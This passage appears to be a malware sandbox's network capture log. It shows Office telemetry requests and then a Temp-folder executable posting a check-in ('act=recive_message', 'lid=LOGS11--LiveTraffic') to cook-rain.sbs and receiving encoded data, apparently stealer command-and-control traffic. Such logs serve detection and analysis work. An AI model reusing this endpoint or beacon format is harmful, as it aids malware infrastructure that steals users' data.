2024-11-18 20:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a49de474-501e-007b-59ae-375ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200426Z-16547b76f7fljddfhC1DFWeqbs000000075g0000000064nk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:26 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 07de4fd9-201e-0051-6eb1-377340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200426Z-1866b5c5fbbg9tvxhC1DFWy9mg000000022000000000kt8s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:26 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:27 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:27 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 320898d6-601e-0032-1378-36eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200427Z-164f84587bfjxw6fhC1DFWq94400000006dg00000000cfx3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:27 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:27 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:27 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:27 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e612f54f-b01e-003d-2faf-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200427Z-16547b76f7fwm7vghC1DFW900s00000003xg0000000077bc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:27 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:27 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3f21f780-601e-0032-1b93-37eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200427Z-164f84587bf6h2bxhC1DFWbcm800000006f000000000hq3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:27 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:27 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: ecab8261-801e-00a3-2dbb-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200427Z-1866b5c5fbbb286shC1DFWx97800000002t0000000008fz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:27 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:27 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 3dba4db2-f01e-0085-08a0-3688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200427Z-164f84587bf6h2bxhC1DFWbcm800000006e000000000qbda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49899	188.114.96.3	443	7712	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 20:04:28 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 20:04:28 UTC	981	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cr5sjdteqvlr0dbmhktqe2ikqe; expires=Fri, 14-Mar-2025 13:51:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DhwdeWEANL6wYz0MIZvawIdFf4iBAAnK7C%2FXTCLzm3%2B9qVDTNsbOvHPFDUB6YPbHqaKohvhr6KhX5Eq31naM5Pb%2F4W8gMpSc16xv5Sb6n0QkMCGDU4k%2BuEaUtNcLabI7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91dbbc6822ec-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=23443&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=123623&cwnd=32&unsent_bytes=0&cid=f122e75280e2b655&ts=713&x=0"
2024-11-18 20:04:28 UTC	388	IN	Data Raw: 33 66 39 64 0d 0a 51 52 42 6d 33 49 63 66 6b 43 56 2b 50 64 51 45 50 69 44 72 36 64 56 37 65 64 30 4b 56 2b 74 71 70 52 6e 44 72 54 61 79 42 45 41 36 4d 68 44 2b 76 53 75 38 42 77 31 59 39 6a 35 4b 55 70 36 4d 2b 56 6b 59 75 53 68 74 6a 51 76 4a 61 71 61 42 46 4d 52 70 59 6e 74 32 42 37 44 30 65 72 77 48 47 30 58 32 50 6d 56 62 79 59 79 37 57 55 50 2f 62 7a 32 4a 43 38 6c 37 6f 73 5a 5a 77 6d 67 6a 4b 58 77 42 74 4f 4a 38 39 45 51 53 55 4c 46 68 57 30 47 42 68 37 77 57 45 62 41 6f 65 38 6b 50 33 7a 76 35 6a 33 76 58 63 43 45 4d 63 52 57 33 70 57 4b 38 58 6c 78 59 75 69 59 45 41 6f 71 4d 74 78 63 66 75 57 45 2f 67 77 4c 42 65 71 66 48 52 74 74 69 4b 43 6c 79 41 72 58 6f 64 65 42 4a 47 46 65 36 5a 31 46 42 79 63 58 33 48 67 50 2f 4d 48 58 61 4f 73 52 71 73 Data Ascii: 3f9dQRBm3IcfkCV+PdQEPiDr6dV7ed0KV+tqpRnDrTayBEA6MhD+vSu8Bw1Y9j5KUp6M+VkYuShtjQvJaqaBFMRpYnt2B7D0erwHG0X2PmVbyYy7WUP/bz2JC8l7osZZwmgjKXwBtOJ89EQSULFhW0GBh7wWEbAoe8kP3zv5j3vXcCEMcRW3pWK8XlxYuiYEAoqMtxcfuWE/gwLBeqfHRttiKClyArXodeBJGFe6Z1FBycX3HgP/MHXaOsRqs
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 73 6b 49 33 4a 45 38 4b 56 36 36 67 64 45 48 35 56 6a 54 45 57 46 6e 66 55 6a 57 36 41 6d 4c 4d 6b 50 79 7a 76 35 6a 31 7a 56 5a 53 45 6f 66 51 65 32 37 6d 2f 79 56 52 70 53 73 33 52 61 52 34 65 42 74 41 73 52 73 57 34 32 67 41 50 4f 66 71 62 4c 46 4a 34 6d 4a 54 73 79 58 50 37 45 63 50 6c 4c 46 6b 69 32 4a 6b 4d 4d 6b 4d 75 77 46 56 76 6e 4b 44 47 49 44 4d 5a 2f 72 38 46 51 33 47 41 73 4c 6e 30 43 74 4f 56 36 2b 45 38 55 58 72 74 74 55 30 4b 4d 68 72 4d 66 46 37 35 74 64 63 64 49 77 47 50 68 6c 78 54 2b 59 53 45 78 4d 44 47 39 36 33 50 31 55 56 78 41 2b 48 38 63 52 59 58 4c 37 31 6b 56 75 6d 63 6e 69 42 72 43 64 62 50 44 55 64 5a 72 49 53 31 79 41 62 6e 6f 63 2f 52 41 48 31 65 79 5a 31 4a 4f 67 34 69 7a 47 6c 76 78 4b 44 4b 52 53 4a 38 37 6b 4d 78 51 31 Data Ascii: skI3JE8KV66gdEH5VjTEWFnfUjW6AmLMkPyzv5j1zVZSEofQe27m/yVRpSs3RaR4eBtAsRsW42gAPOfqbLFJ4mJTsyXP7EcPlLFki2JkMMkMuwFVvnKDGIDMZ/r8FQ3GAsLn0CtOV6+E8UXrttU0KMhrMfF75tdcdIwGPhlxT+YSExMDG963P1UVxA+H8cRYXL71kVumcniBrCdbPDUdZrIS1yAbnoc/RAH1eyZ1JOg4izGlvxKDKRSJ87kMxQ1
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 34 43 72 6e 68 63 66 74 4b 47 6c 2b 78 59 6c 6c 51 6a 49 4b 37 46 56 76 78 4b 44 4b 52 53 4a 38 37 6a 73 68 43 30 30 6b 68 4d 6e 74 45 6f 61 74 6b 73 6b 41 51 48 2b 34 6d 57 30 65 42 67 4c 45 52 47 36 31 74 4f 34 49 4a 7a 58 32 67 77 6c 6a 57 5a 69 4d 6a 64 41 69 2b 34 6e 72 67 56 52 6c 5a 70 47 77 63 44 4d 6d 4d 72 31 6c 44 2f 31 34 6c 6e 68 6e 52 4f 5a 54 4d 57 74 35 68 4e 47 4e 74 53 71 65 6c 65 76 34 48 52 42 2b 39 5a 6c 42 46 67 59 32 7a 45 52 53 77 59 53 65 49 42 4d 6c 70 70 73 39 64 33 6d 6b 75 4b 6e 38 44 73 2b 35 33 2f 30 4d 62 58 76 59 6f 48 45 57 52 79 2b 39 5a 4c 61 39 6c 4f 61 63 44 79 33 4c 68 30 42 72 4a 4a 69 55 76 4d 6c 7a 2b 34 58 48 36 54 52 4e 57 76 47 78 54 53 34 6d 44 76 68 41 59 76 32 51 7a 69 41 54 4c 64 71 54 4d 55 64 31 6a 49 69 Data Ascii: 4CrnhcftKGl+xYllQjIK7FVvxKDKRSJ87jshC00khMntEoatkskAQH+4mW0eBgLERG61tO4IJzX2gwljWZiMjdAi+4nrgVRlZpGwcDMmMr1lD/14lnhnROZTMWt5hNGNtSqelev4HRB+9ZlBFgY2zERSwYSeIBMlpps9d3mkuKn8Ds+53/0MbXvYoHEWRy+9ZLa9lOacDy3Lh0BrJJiUvMlz+4XH6TRNWvGxTS4mDvhAYv2QziATLdqTMUd1jIi
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 34 6e 47 79 48 31 78 54 74 57 70 55 54 59 2b 43 75 78 4d 53 74 47 51 2b 6a 51 54 4f 66 71 66 4f 55 64 56 6e 4a 69 39 34 41 72 33 6d 63 76 31 49 46 42 2f 34 4a 6c 74 61 79 64 50 33 50 41 79 30 5a 6a 50 4a 46 34 6c 69 34 63 68 59 6b 44 35 69 4c 33 73 43 75 4f 42 78 38 30 45 55 57 72 35 69 58 55 53 50 69 4c 67 64 48 72 35 6e 4d 59 55 47 7a 58 71 67 77 31 2f 66 62 53 64 6a 50 45 53 35 2f 54 32 71 42 79 31 63 6f 48 46 4d 54 73 6d 55 2b 51 42 62 75 47 52 31 30 55 6a 47 61 61 76 46 57 74 56 70 4a 79 42 39 41 37 50 6a 63 66 68 4f 46 46 6d 35 62 30 35 42 68 59 57 77 46 78 65 78 5a 54 2b 4b 42 59 63 31 34 63 68 4d 6b 44 35 69 44 33 55 4a 6b 4f 35 78 39 51 63 44 45 61 38 6d 57 30 37 4a 30 2f 63 56 45 62 4e 68 4e 59 41 4e 7a 33 43 6f 79 6c 58 62 59 79 45 6c 66 77 75 Data Ascii: 4nGyH1xTtWpUTY+CuxMStGQ+jQTOfqfOUdVnJi94Ar3mcv1IFB/4JltaydP3PAy0ZjPJF4li4chYkD5iL3sCuOBx80EUWr5iXUSPiLgdHr5nMYUGzXqgw1/fbSdjPES5/T2qBy1coHFMTsmU+QBbuGR10UjGaavFWtVpJyB9A7PjcfhOFFm5b05BhYWwFxexZT+KBYc14chMkD5iD3UJkO5x9QcDEa8mW07J0/cVEbNhNYANz3CoylXbYyElfwu
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 67 64 45 48 37 42 70 56 55 47 47 69 72 34 56 46 72 70 68 4d 49 67 4f 77 33 47 72 7a 31 4c 57 5a 79 63 70 63 51 57 30 37 48 72 36 51 42 39 4e 39 69 67 63 52 5a 48 4c 37 31 6b 79 75 48 6f 37 6d 55 6a 59 4e 62 69 50 55 39 77 6d 65 6d 4e 32 44 72 48 68 65 76 35 42 47 56 6d 37 5a 31 4e 44 69 59 53 7a 45 68 4b 35 61 54 69 4d 42 63 4e 70 71 38 52 62 33 47 38 75 4c 6a 4a 4b 2f 75 4a 6c 73 68 39 63 62 72 74 6f 55 6b 57 66 79 36 68 58 41 76 39 76 4f 63 6c 51 68 33 71 74 77 46 66 66 5a 53 45 69 65 42 61 73 36 58 54 36 51 68 42 55 75 47 42 4f 52 49 61 43 74 42 6f 53 75 47 41 35 67 77 76 41 4f 2b 2b 50 55 38 67 6d 65 6d 4e 52 45 36 37 6f 50 65 30 4a 42 52 2b 78 61 68 77 61 79 59 4f 36 45 52 47 37 62 7a 69 4f 44 73 35 70 71 4d 70 61 30 47 49 70 4c 48 51 41 76 65 56 76 Data Ascii: gdEH7BpVUGGir4VFrphMIgOw3Grz1LWZycpcQW07Hr6QB9N9igcRZHL71kyuHo7mUjYNbiPU9wmemN2DrHhev5BGVm7Z1NDiYSzEhK5aTiMBcNpq8Rb3G8uLjJK/uJlsh9cbrtoUkWfy6hXAv9vOclQh3qtwFffZSEieBas6XT6QhBUuGBORIaCtBoSuGA5gwvAO++PU8gmemNRE67oPe0JBR+xahwayYO6ERG7bziODs5pqMpa0GIpLHQAveVv
2024-11-18 20:04:28 UTC	1369	IN	Data Raw: 44 32 4b 42 78 46 6b 63 76 76 57 54 71 6b 61 7a 6d 45 53 4e 67 31 75 49 39 54 33 43 5a 36 59 33 34 4b 75 2b 56 33 39 45 4d 5a 57 62 78 6a 58 45 6d 4b 68 4c 4d 66 48 37 42 6f 50 6f 41 4a 77 58 36 72 78 46 4c 64 5a 53 51 6c 4d 6b 72 2b 34 6d 57 79 48 31 78 2f 72 57 74 51 52 63 6d 55 2b 51 42 62 75 47 52 31 30 55 6a 4d 64 36 58 49 56 4e 31 6c 4b 69 5a 32 44 72 76 6c 64 65 42 50 48 46 69 6b 64 46 78 4c 6a 49 65 30 47 52 2b 35 59 54 4f 4b 44 49 63 31 34 63 68 4d 6b 44 35 69 44 6e 34 44 6c 2b 4a 6d 73 6c 68 53 52 76 5a 68 55 41 4c 52 79 37 59 53 45 62 42 6c 4e 6f 38 4c 7a 48 36 72 7a 6c 50 59 61 7a 41 67 66 51 75 36 35 58 4c 30 51 52 31 51 73 47 46 56 51 34 47 4d 39 31 64 62 75 48 42 31 30 55 6a 70 66 4b 4c 4c 46 4d 38 6f 4f 32 4e 31 43 50 36 39 50 66 4a 4e 46 Data Ascii: 